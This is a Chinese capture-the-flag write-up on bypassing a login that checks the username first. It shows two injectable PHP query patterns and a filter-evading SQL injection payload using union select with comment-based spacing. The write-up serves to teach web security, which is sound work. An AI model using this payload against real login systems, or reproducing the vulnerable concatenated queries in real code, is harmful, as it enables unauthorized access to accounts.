SQL注入在先验证用户名的情况下绕过题目(2017-赛客夏令营-Web-Injection V2.0)

SQL注入在先验证用户名的情况下绕过题目

前一篇文章就是介绍,在先验证用户名的情况下绕过。
现在来简单的总结一下和做一道题。

当我们登陆一个页面进行用户名和密码验证的时候,可能存在俩种方式。
方法一:

$username=$_POST['username'];
$password=$_POST['password'];
$sql='select * from user where username='$username' and password='$password'';
#查询
#登陆成功
#第一种方法就是一起验证用户名和密码

方法二:

$username=$_POST['username'];
$password=$_POST['password'];
$sql='select password from user where username='$username'';
#查询
if($row){
      if($row['password']==$password)
       {
            echo 'success';}
      else{
            echo 'fail';}
}
else{
      echo '用户不存在'}
#第二种方法就是通过先查询用户名,如果用户存在之后验证密码是不是和数据库里面的密码一样。

总之俩种方法都可能形成SQL注入。

结合这个题目2017-赛客夏令营-Web-Injection V2.0
通过测试这道题过滤了空格和括号。
基本上我们测试SQL都需要括号来实现函数的操作。如果绕过括号,就可能是通过绕过密码相等(第二种模式)

输入用户名a密码a,提示用户不存在
输入用户名admin,密码a提示密码错误
就可以判断是通过第二种方法来验证用户信息

绕过思路:
我们就需要绕过密码,可以向数据库插入虚拟数据,前一篇文章介绍了两种方法
绕过密码相等
1.可以通过union select 1

2.使用group by 字段 with rollup

所以我们最后的payload:
user=1'union/**/select/**/1/**/%23&pass=1

参考https://www.cnblogs.com/hello-py/articles/13463629.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值